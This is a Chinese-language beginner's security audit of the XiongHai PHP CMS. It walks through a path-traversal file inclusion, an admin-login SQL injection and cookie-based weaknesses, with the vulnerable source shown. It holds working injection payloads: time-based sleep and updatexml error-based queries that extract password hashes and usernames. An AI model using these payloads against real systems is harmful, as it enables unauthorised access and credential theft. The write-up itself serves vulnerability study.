熊海CMS代码审记(新手入门)

admin      --管理后台文件夹css        --存放css的文件夹files      --存放页面的文件夹images     --存放图片的文件夹inc        --存放网站配置文件的文件夹install    --网站进行安装的文件夹seacmseditor  --编辑器文件夹template      --模板文件夹upload        --上传功能文件夹index.php     --网站首页

<?php//单一入口模式error_reporting(0); //关闭错误显示$file=addslashes($_GET['r']); //接收文件名$action=$file==''?'index':$file; //判断为空或者等于indexinclude('files/'.$action.'.php'); //载入相应文件?>

PHP addslashes() 函数在每个双引号（"）前添加反斜杠：<?php$str = addslashes('Hello "PHP", please be kind to me');echo $str;?>--------------------------输出：Hello "PHP", please be kind to me

<?php phpinfo(); ?>

?r=../../phpinfohttp://localhost/xionghai/admin/index.php?r=../../phpinfo

<?php ob_start();require '../inc/conn.php';$login=$_POST['login'];$user=$_POST['user'];$password=$_POST['password'];$checkbox=$_POST['checkbox'];if ($login<>""){$query = "SELECT * FROM manage WHERE user='$user'";$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());$users = mysql_fetch_array($result);if (!mysql_num_rows($result)) {  echo "<Script language=JavaScript>alert('抱歉，用户名或者密码错误。');history.back();</Script>";exit;}else{$passwords=$users['password'];if(md5($password)<>$passwords){echo "<Script language=JavaScript>alert('抱歉，用户名或者密码错误。');history.back();</Script>";exit;        }//写入登录信息并记住30天if ($checkbox==1){setcookie('user',$user,time()+3600*24*30,'/');}else{setcookie('user',$user,0,'/');}echo "<script>this.location='?r=index'</script>";exit;}exit;ob_end_flush();}?>

<?php ob_start();require '../inc/conn.php';// 通过POST方式接受数据$login=$_POST['login'];$user=$_POST['user'];$password=$_POST['password'];$checkbox=$_POST['checkbox'];if ($login<>""){// 编写的sql语句存入变量$query$query = "SELECT * FROM manage WHERE user='$user'";// 没有任何过滤，直接使用mysql_query函数提交到数据库执行，这个正是我们可以利用的攻击点$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());$users = mysql_fetch_array($result);// 此处的意思是，如果在数据库中没有找到要登录的用户名，提示错误if (!mysql_num_rows($result)) {  echo "<Script language=JavaScript>alert('抱歉，用户名或者密码错误。');history.back();</Script>";exit;}else{// 找到了用户名，但是密码错误，同样弹出一个错误信息$passwords=$users['password'];if(md5($password)<>$passwords){ // 这里的密码使用了md5函数进行了一次加密操作echo "<Script language=JavaScript>alert('抱歉，用户名或者密码错误。');history.back();</Script>";exit;        }//写入登录信息并记住30天if ($checkbox==1){setcookie('user',$user,time()+3600*24*30,'/');}else{setcookie('user',$user,0,'/');}echo "<script>this.location='?r=index'</script>";exit;}exit;ob_end_flush();}?>

// 布尔盲注admin' or sleep(10) #// 进行报错注入1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) #1' or updatexml(1,concat((select concat(password,0x7e) from manage)),0) #// 将获得的MD5值进行爆破破解得到password的铭文，随后继续注入获取用户名1' or updatexml(1,concat((select concat(0x7e,user) from

<li><span>昵称</span><input name="name" type="text" value="<?php echo $_COOKIE['name']?>" /></li><li><span>邮箱</span><input name="mail" type="text" value="<?php echo $_COOKIE['mail']?>"/></li><li><span>网址</span><input name="url" type="text" value="<?php echo $_COOKIE['url']?>"/></li>

$save=$_POST['save'];$name=$_POST['name'];$url=$_POST['url'];

<?php$user=$_COOKIE['user'];if ($user==""){header("Location: ?r=login");exit;    }?>